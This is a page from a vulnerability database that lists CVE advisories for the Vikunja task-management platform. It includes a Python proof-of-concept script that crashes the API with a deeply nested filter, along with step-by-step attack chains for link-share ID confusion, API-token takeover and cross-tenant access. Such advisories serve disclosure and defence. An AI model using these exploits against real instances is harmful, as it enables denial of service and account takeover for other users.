Threat database
66 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 6.5 | EPSS 0.4% | CVE-2026-91968vikunja · Uncontrolled Recursion High6.5EPSS 0.4%CVE Database V5CVE-2026-91968 # Unbounded nested task-filter recursion permits API process termination ## Summary Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process. ## Impact and affected scope - **Type:** Resource Exhaustion Recursive Parser - **Affected component:** GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString - **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A single low-privileged network request can terminate the API process and deny service to all users. ## Technical details The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth. Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed. Relevant code: - `pkg/models/task_collection_filter.go:240` - `pkg/models/task_collection_filter.go:268` - `pkg/models/task_collection_filter.go:274` - `pkg/models/task_collection_filter.go:276` - `pkg/models/task_collection_filter.go:295` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.parse import urllib.request BASE = "http://target:3456" def request(method, path, body=None, token=None, expected=None, timeout=30): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=timeout) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def filter_path(project_id, depth): expression = "(" * depth + "id = 1" + ")" * depth path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="") print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True) return path def main(): wait_ready() username, password = "PoC-filter-user", "PoC-password-123!" request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) token = login["token"] _, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201) started = time.monotonic() request("GET", filter_path(project["id"], 1000), token=token, expected=200) print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True) try: status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90) raise RuntimeError(f"attack unexpectedly returned HTTP {status}") exc | CVE Database V5 | ||
| High | 8.7 | EPSS 0.4% | High8.7EPSS 0.4%CVE Database V5CVE-2026-91985 Vikunja before 2.6.0 fails to properly restrict access to the link-share hash field in single-share read endpoints, allowing read-only members to obtain the share's secret credential. Attackers can exchange the disclosed hash for a link-share JWT at the share's permission level to escalate privileges and perform unauthorized writes or administrative actions. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | Medium5.3EPSS 0.3%CVE Database V5CVE-2026-91984 Vikunja before 2.6.0 fails to validate that user-supplied project_view_id in task-position requests belongs to the task's project. Authenticated attackers can insert task position rows into arbitrary other tenant project views via POST or PUT task-position endpoints. | CVE Database V5 | ||
| Medium | 5.0 | EPSS 0.3% | Medium5.0EPSS 0.3%CVE Database V5CVE-2026-55067 A vulnerability in Vikunja prior to version 2.4.0 allows an authenticated user to bypass authorization controls when relocating buckets between Kanban views. The issue arises because the permission check validates the current bucket's project and view but does not validate the destination view specified in the request body. This enables an attacker to move their own bucket into another tenant's Kanban view, retaining control and content ownership, which can lead to cross-tenant defacement. The vulnerability is fixed in version 2.4.0. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.4% | High7.1EPSS 0.4%CVE Database V5CVE-2026-55066 CVE-2026-55066 is an authorization bypass vulnerability in the open-source task management platform Vikunja. Versions prior to 2.4.0 allow authenticated users to manipulate tasks across tenants by exploiting insufficient authorization checks on task identifiers supplied in API requests. This enables enumeration and modification of task completion status without proper permission verification. The issue is fixed in version 2.4.0. | CVE Database V5 | ||
| High | 8.1 | EPSS 0.5% | CVE-2026-55065vikunja · Improper Authorization High8.1EPSS 0.5%CVE Database V5CVE-2026-55065 A vulnerability in Vikunja versions from 0.24.6 up to but not including 2.4.0 allows an authenticated user to delete Kanban assignments and ordering across projects due to improper authorization checks in the DELETE /api/v1/projects/:project/views/:view endpoint. The flaw arises because the authorization logic does not verify that the view belongs to the specified project, enabling cross-tenant destructive actions on task buckets and positions. This issue is fixed in version 2.4.0. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.4% | CVE-2026-55064vikunja · Missing Authorization Medium4.3EPSS 0.4%CVE Database V5CVE-2026-55064 A missing authorization vulnerability in Vikunja versions from 2.3.0 up to but not including 2.4.0 allows users with Write permission (but not Admin) on a shared child project to detach it from its parent by submitting a parent_project_id of zero. This bypasses the intended Admin check and disrupts the permission inheritance chain. The issue is fixed in version 2.4.0. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-54766vikunja · Improper Authorization Medium5.3EPSS 0.4%CVE Database V5CVE-2026-54766 A vulnerability in the go-vikunja vikunja task management platform allows an authenticated user with read access to a source project to duplicate it under an arbitrary target parent project without proper write permission checks. This improper authorization occurs because the duplication operation skips the target parent's write-permission verification, enabling injection of attacker-owned content into another user's or team's project hierarchy. The issue affects versions from 0.21.0 up to but not including 2.4.0 and is fixed in version 2.4.0. | CVE Database V5 | ||
| High | 7.7 | EPSS 0.4% | High7.7EPSS 0.4%CVE Database V5CVE-2026-76216 ## Summary Vikunja's `web.Auth` interface (`pkg/web/web.go`, single method `GetID() int64`) is satisfied by BOTH `*user.User` and `*models.LinkSharing`. A link-share's `GetID()` returns the **raw positive** `share.ID` (`pkg/models/link_sharing.go:83-85`), which lives in the same positive autoincrement ID space as `users.id`. The safe negated form `getUserID() = share.ID * -1` (`link_sharing.go:126-128`) exists but is NOT used at three permission sinks. As a result, a link-share principal with id `N` — which should have zero authority over teams or bot users — is treated as the *user* whose `users.id == N` at three permission checks that lack the `a.(*LinkSharing)` guard their sibling methods have. This is the same principal-type-confusion class as CVE-2026-68581 (GHSA-vvcv-vpph-h844), but at three code paths that advisory/fix never touched. ## Root Cause `web.Auth` is a one-method interface (`GetID() int64`). `*LinkSharing.GetID()` returns the raw positive share id. Three permission methods compare this raw id directly and omit the link-share type guard used elsewhere in the same files: 1. **`TeamMember.CanDelete`** (`pkg/models/team_members_permissions.go:31-40`): the self-removal fast path `if u.ID == a.GetID() { return true }` (:36) executes **before** `IsAdmin`. `IsAdmin` (:48-51) is the ONLY place that rejects link shares (`if _, is := a.(*LinkSharing); is { return false }`, :50) — and it is never reached when the fast path returns true. 2. **`BotUser.isOwner`** (`pkg/models/bot_users_permissions.go:47-56`): `return u.BotOwnerID == a.GetID()` (:55), used by `CanRead`/`CanUpdate`/`CanDelete` (:36-45). Unlike `CanCreate` (:27-30) which type-asserts `a.(*user.User)`, these three paths have no principal guard. 3. **`Team.CanRead`** (`pkg/models/teams_permissions.go:68-78`): matches membership on `And("user_id = ?", a.GetID())` (:76) with no link-share guard, unlike sibling `IsAdmin` (:45-49, guard at :47). Link-share JWTs reach these routes: `SetupTokenMiddleware` validates the signature only, `GetAuthFromClaims` returns `*models.LinkSharing`, and the `/user`/`/teams` route groups add no link-share rejection. Link sharing is enabled by default (`config.go` `ServiceEnableLinkSharing.setDefault(true)`). ## Impact A link-share principal (obtainable from any public share link, or self-registered via a share on the attacker's own project) whose id `N` collides with a victim's `users.id == N` can, without being that user or any user: - **Integrity (I:H):** remove the victim from any team they belong to (`DELETE /api/v1/teams/{T}/members/{username}`) → revokes all project permissions the victim inherited through that team. - **Availability/Integrity (A:H, I:H):** enumerate the victim's bot users (`GET /api/v1/user/bots` → `bot_owner_id = a.GetID()`), then disable/rename or **permanently delete** them (`DELETE /api/v1/user/bots/{id}` → `DeleteUser`), destroying data owned solely by those bots. - **Confidentiality (C:H):** read the roster + metadata (name, description, full member list) of any team the colliding user belongs to (`GET /api/v1/teams/{T}`), plus read bot-user records via `isOwner`-gated reads. ## Attack Chain ### Sink 1 — TeamMember.CanDelete (integrity) 1. **Entry:** `POST /api/v1/shares/{hash}/auth` → link-share JWT with `id = N`. **Guard:** JWT middleware — signature only. **Bypass proof:** `GetAuthFromClaims` returns `*models.LinkSharing`; no route-group link-share rejection on the `/teams` group. 2. **Action:** `DELETE /api/v1/teams/{T}/members/{usernameOfUserN}` with the link-share bearer, targeting a team `T` (≥2 members) that user `N` belongs to. **Guard:** `CanDelete` → `GetUserByUsername(tm.Username)` returns user N, then `u.ID == a.GetID()` (`team_members_permissions.go:36`). **Bypass proof:** `a.GetID()` returns `N` (raw positive `share.ID`, `link_sharing.go:84`) == user N's id → `true`. No `a.(*LinkSharing)` check on this branch (only `IsAdmin` at :50 has it, never reached). 3. **Sink:** `Delete` (`team_members.go`) removes user N from team T (last-member check passes when team has ≥2 members). **Impact:** victim loses all project access inherited through team T. ### Sink 2 — BotUser.isOwner (bot takeover / destruction) 1. **Entry:** link-share JWT id N (as above). **Guard:** signature-only; `/user` group adds no link-share reject. 2. **Enumerate:** `GET /api/v1/user/bots` → `ReadAll` runs `Where("bot_owner_id = ?", a.GetID())` = bots owned by user N. **Bypass proof:** `a.GetID()` = N; returns victim's bot ids self-contained (removes the id-guessing barrier). 3. **Sink:** `DELETE /api/v1/user/bots/{botId}` → `CanDelete` → `isOwner` → `u.BotOwnerID == a.GetID()` (`bot_users_permissions.go:55`) → true; `Delete` calls `DeleteUser`. **Bypass proof:** no `a.(*LinkSharing)` guard here (Create-only, :28). **Impact:** disable/rename/permanently delete victim's bot automation identities. ### Sink 3 — Team.CanRead (info disclosure) 1. **Entry:** link-share JWT id N. **Guard:** signature-onl | CVE Database V5 | ||
| Critical | 9.3 | EPSS 0.3% | Critical9.3EPSS 0.3%CVE Database V5CVE-2026-68582 ## Summary The task-collection endpoint `GET /api/v1/projects/{project}/views/{view}/tasks` loads the requested project view straight from the URL path without verifying the caller is authorized for it. For a **link-share token**, the task query is correctly pinned to the share's own project, but the *view* is taken from the attacker-controlled path and never re-validated against the share. A holder of a share link to **any** project can therefore point the endpoint at any other tenant's kanban view and receive that view's bucket records — bucket titles plus the full `created_by` user object (username, name, id) — for every view in the instance. The same missing pre-authorization view load also yields a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users alike. ## Details Root cause is in `TaskCollection.ReadAll` (`pkg/models/task_collection.go`). 1. The view is resolved from the URL params before any permission check: ```go // pkg/models/task_collection.go (ReadAll) if tf.ProjectViewID != 0 { view, err = GetProjectViewByIDAndProject(s, tf.ProjectViewID, tf.ProjectID) // (URL params) ... } ``` `GetProjectViewByIDAndProject` (`pkg/models/project_view.go`) filters only on `WHERE id = ? AND project_id = ?` — it performs no authorization. A valid `(project, view)` pair returns the view; an invalid pair returns `ErrProjectViewDoesNotExist` (HTTP 404). 2. For a link-share caller, the code pins the *task* scope to the token's own project but reuses the attacker-supplied `view`: ```go shareAuth, is := a.(*LinkSharing) if is { project, err := GetProjectSimpleByID(s, shareAuth.ProjectID) // token's project ... return getTaskOrTasksInBuckets(s, a, []*Project{project}, view, opts, filteringForBucket, tf.forceFlatTasks) // `view` is the foreign, attacker-controlled view — never validated against shareAuth.ProjectID } ``` 3. `getTaskOrTasksInBuckets` → `GetTasksInBucketsForView` (`pkg/models/kanban.go`) reads the buckets of that foreign view directly: ```go err = s.Where("project_view_id = ?", view.ID).OrderBy("position").Find(&buckets) ... users, err := getUsersOrLinkSharesFromIDs(s, userIDs) // resolves each bucket's created_by ``` Each returned `Bucket` serializes `CreatedBy *user.User` as `json:"created_by"` (`pkg/models/kanban.go`), exposing the creating user's username, name, and id. The normal (non-share) path is protected because it runs `getRelevantProjectsFromCollection`, which calls `project.CanRead` on the URL project and returns 403 before any bucket data is produced. Only the `LinkSharing` branch skips that gate, which is why the bucket disclosure is link-share-specific. `ReadAllWeb` (`pkg/web/handler/read_all.go`) performs no permission check of its own, so all authorization for this endpoint lives inside `ReadAll`. Scope of the leak (verified against fixtures): the *tasks* returned inside the buckets are still constrained to the share's own project (`getRawTasksForProjects` filters `tasks.project_id IN opts.projectIDs`, derived from the share's project). So victim task **contents do not leak**; what leaks is the foreign view's bucket structure and, critically, the `created_by` user identities of arbitrary buckets instance-wide. Introduced in v0.24.0 by the per-view kanban feature (`feat(views)!: return tasks in buckets by view`), which added the `views/{view}/tasks` endpoint and the foreign-view bucket load. The link-share branch predates it, but the two only combine into this bug from v0.24.0 onward. ## Impact A holder of a link-share token to any single project (link shares are designed to be handed out, often semi-publicly) can: - **Enumerate all project and view IDs instance-wide.** IDs are sequential auto-increment integers; an invalid `(project, view)` pair returns 404 while a valid one returns 200, giving a reliable existence oracle across all tenants. - **Disclose the `created_by` user of any kanban view's buckets** — username, display name, and user id. Because Vikunja auto-creates a default project with a Kanban view for every user, iterating view IDs enumerates usernames and user IDs for essentially every account on the instance. - **Disclose bucket titles** of every kanban view in the instance. This is a cross-tenant broken-object-level-authorization bypass. It does not disclose victim task contents through this path, but instance-wide username/user-id enumeration plus kanban structure disclosure is a meaningful PII and reconnaissance exposure that defeats the tenant isolation the permission model is meant to enforce. The ID-enumeration oracle additionally works for any ordinary authenticated user (invalid combo → 404 vs. inaccessible combo → 403), because the view is loaded before the `CanRead` check. ## Proof of Concept Prerequisites: link sharing enabled (default), a share link to any project (call it project A), and any second project B (e.g. another tenant's) with a kanban view V_B. 1. Au | CVE Database V5 | ||
| High | 8.6 | EPSS 0.5% | CVE-2026-68581vikunja · Incorrect Authorization High8.6EPSS 0.5%CVE Database V5CVE-2026-68581 Executive Summary Vikunja accepts both regular-user JSON Web Tokens (JWTs) and link-share JWTs through its generic authenticated API route group. A link-share JWT resolves to a `models.LinkSharing` principal whose `GetID()` method returns the numeric `link_shares.id`. The API-token management model then treats that generic numeric value as a `users.id` when it creates, lists, and deletes API tokens. Because `users.id` and `link_shares.id` are independent positive sequences, a link share whose ID equals another user's ID is treated as that user by `/api/v1/tokens`. An ordinary authenticated attacker can obtain a target's numeric user ID through authenticated user search and create link shares on an attacker-writable project until the link-share sequence reaches that value. The colliding link-share principal can then list the target's API-token metadata, issue a new API token owned by the target, and delete target-owned API tokens. The newly issued token operates with attacker-selected valid API scopes under the target user's existing permissions. I reviewed the vulnerable `v2.3.0` source, the introducing commit, the stable tag history, and the inspected main revision directly. I also reviewed the recorded local HTTP and native-router validation results. Dynamic testing used only a local `v2.3.0` Docker deployment with PostgreSQL and synthetic data; I did not test any public, hosted, or otherwise external instance. Historical tags were checked from source rather than exercised dynamically. | Field | Value | | --- | --- | | Product | Vikunja API | | Status | Validated; disclosure-ready | | Confirmed affected stable versions | `v0.22.0` through `v2.3.0`, inclusive | | Nearest confirmed unaffected stable version | `v0.21.0` | | Introducing commit | `e6b25bd57b537ef9a72b5acdadf446ca5ef77bfa` | | Latest inspected affected main revision | `95b7e673fb5ee407498fa4b13e8b4c57847a4a0b` | | Fixed version | Unknown; no verified fix commit or release was identified | | Severity | High, CVSS v3.1 score 8.1 | | Vector | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | Weakness | Primary: CWE-863 (Incorrect Authorization); secondary: CWE-639 | The stable range is source-based. The issue first became reachable when commit `e6b25bd57b...` added the authenticated API-token CRUD routes while retaining the generic `web.Auth.GetID()` ownership model. `v0.21.0` does not contain the API-token model or these routes. All containing stable tags from `v0.22.0` through `v2.3.0` retain the vulnerable source-to-sink tuple. Downstream forks and vendor-specific builds were not assessed. ## Background ### Two authenticated principal types share one numeric interface Vikunja's authenticated route group is protected by a common token middleware. That middleware can establish a regular user, an API-token owner, or a link share as the request's `web.Auth` principal. The `/api/v1/tokens` handlers are registered on this generic group in `pkg/routes/routes.go`: ```go a.Use(SetupTokenMiddleware()) // API Tokens apiTokenProvider := &handler.WebHandler{ EmptyStruct: func() handler.CObject { return &models.APIToken{} }, } a.GET("/tokens", apiTokenProvider.ReadAllWeb) a.PUT("/tokens", apiTokenProvider.CreateWeb) a.DELETE("/tokens/:token", apiTokenProvider.DeleteWeb) ``` The security-sensitive detail is that authentication answers *which object is the principal*, while `web.Auth.GetID()` exposes only an untyped integer. A regular user's ID belongs to the `users` namespace. A link-share ID belongs to the separately allocated `link_shares` namespace. Equality between those integers does not imply that the principals represent the same actor. ### Link-share authentication preserves the share-row ID `pkg/modules/auth/auth.go` creates a link-share JWT with the share's numeric ID and later resolves that token to a `models.LinkSharing` object: ```go claims["type"] = AuthTypeLinkShare claims["id"] = share.ID claims["hash"] = share.Hash claims["project_id"] = share.ProjectID // ... if typ == AuthTypeLinkShare && config.ServiceEnableLinkSharing.GetBool() { s := db.NewSession() defer s.Close() return models.GetLinkShareFromClaims(s, claims) } ``` The `LinkSharing` model declares its own positive auto-incrementing key and returns it unchanged through the generic interface in `pkg/models/link_sharing.go`: ```go type LinkSharing struct { ID int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"share"` // ... } func (share *LinkSharing) GetID() int64 { return share.ID } ``` Link shares are expected to act within the shared project's permission boundary. API-token management is instead a user-account credential boundary: tokens are owned by users and can authorize future requests as those users. The normal invariant should therefore be that only a positively identified regular-user principal may enter API-token management, and its user ID must be used as the owner key. ### Attacker capabilities The validated attacker is an ord | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | Medium4.3EPSS 0.3%CVE Database V5CVE-2026-40103 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, Vikunja's scoped API token enforcement for custom project background routes is method-confused. A token with only projects.background can successfully delete a project background, while a token with only projects.background_delete is rejected. This is a scoped-token authorization bypass. This vulnerability is fixed in 2.3.0. | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.6% | Medium5.4EPSS 0.6%CVE Database V5CVE-2026-35602 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit. This vulnerability is fixed in 2.3.0. | CVE Database V5 | ||
| Medium | 4.1 | EPSS 0.3% | CVE-2026-35601vikunja · CRLF Injection Medium4.1EPSS 0.3%CVE Database V5CVE-2026-35601 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER. This vulnerability is fixed in 2.3.0. | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.3% | CVE-2026-35600vikunja · Cross-site Scripting Medium5.4EPSS 0.3%CVE Database V5CVE-2026-35600 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails. This vulnerability is fixed in 2.3.0. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.6% | CVE-2026-35599vikunja · Inefficient Algorithmic Complexity Medium6.5EPSS 0.6%CVE Database V5CVE-2026-35599 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request. This vulnerability is fixed in 2.3.0. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | CVE-2026-35598vikunja · Missing Authorization Medium4.3EPSS 0.3%CVE Database V5CVE-2026-35598 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0. | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.5% | Medium5.9EPSS 0.5%CVE Database V5CVE-2026-35597 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | CVE-2026-35596vikunja · Incorrect Authorization Medium4.3EPSS 0.3%CVE Database V5CVE-2026-35596 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. This vulnerability is fixed in 2.3.0. | CVE Database V5 | ||
| High | 8.3 | EPSS 0.5% | CVE-2026-35595vikunja · Improper Privilege Management High8.3EPSS 0.5%CVE Database V5CVE-2026-35595 Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. This vulnerability is fixed in 2.3.0. | CVE Database V5 |
Showing 21–40 of 66 results